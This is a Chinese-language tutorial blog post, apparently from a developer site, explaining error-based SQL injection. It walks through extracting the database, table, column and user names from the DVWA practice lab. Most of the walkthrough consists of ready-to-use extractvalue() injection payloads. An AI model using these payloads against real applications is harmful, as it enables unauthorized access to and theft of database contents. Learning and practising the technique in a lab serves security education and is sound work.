sql注入-报错注入

报错盲注

原理:

报错注入(Error-based SQL Injection)是一种SQL注入攻击技术,它依赖于应用程序在发生数据库错误时返回给用户的详细错误信息。这些错误信息可能包含关于数据库结构的敏感信息,如数据库表名、列名、数据类型等,甚至可能泄露部分数据。攻击者可以利用这些信息来进一步构造更精确的SQL查询,以绕过应用程序的安全措施,获取未授权的数据访问或执行未授权的操作。

常用报错函数:

1.floor()报错

2.extractValue()报错

3.updateXml()报错

4.NAME_CONST()报错

5.jion()报错

6.exp()报错

下面进行报错注入dvwa靶场。
1.爆库名

sql 复制代码
1' and extractvalue(1,concat(0x7e,database()))# 


2.爆表名

先爆表的数量

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))# 

再具体爆每张表的名字

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e,(select table_name  from information_schema.tables where table_schema='dvwa' limit 1,1)))#


3.爆列名

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))# 

最后爆出一共有八列。

分别爆出八个列名并找出可能有价值的列。

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 2,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 5,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 6,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name  from information_schema.columns where table_schema='dvwa' and table_name='users' limit 7,1)))#

爆到4的时候有一个user的列,很明显是存放用户的列。

4.爆字段

爆出有几个用户

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select count( user) from users )));#

在爆出各个用户的名称

sql 复制代码
1' and extractvalue(1,concat(0x7e,(select user from users limit 0,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 1,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 2,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 3,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 4,1)));#
相关推荐
李高钢9 分钟前
C# WPF Prism 进阶(二):区域(Region)与模块化(Module)
java·前端·数据库
long31611 分钟前
枚举(Enums)
java·开发语言·数据库
TJHHH.14 分钟前
SQL注入学习总结
数据库·笔记·sql·学习·注入
其实防守也摸鱼1 小时前
红队技能总结导图:从入门到精通的完整知识体系
开发语言·人工智能·学习·安全·web安全
ACP广源盛139246256732 小时前
Qwen3.8‑2.4T 开源落地@ACP#国产 MoE 大模型私有化部署中 MST 多屏转换芯片 GSV2231 硬件价值与应用场景
大数据·数据库·人工智能·嵌入式硬件
java_logo2 小时前
Docker 部署 openGauss:轻松搭建企业级开源关系型数据库平台
数据库·docker·开源·opengauss·轩辕镜像·opengauss部署教程·opengauss部署文档
云水一下2 小时前
零基础玩转bWAPP靶场(六十三):Drupal SQL Injection (Drupageddon)
sql·web安全·bwapp
旺仔学长 哈哈2 小时前
52486|高校专业评估不再靠表格:Spring Boot 本科专业质量评估管理系统实战
数据库·spring boot·毕业设计·教育管理
梦想的旅途22 小时前
企业微信Webhook回调怎么做自动回复和AI客服
数据库·机器人·自动化·企业微信·rpa
Zguigo3 小时前
OCR 核心原理 + 模型 + 检测与识别
数据库·ocr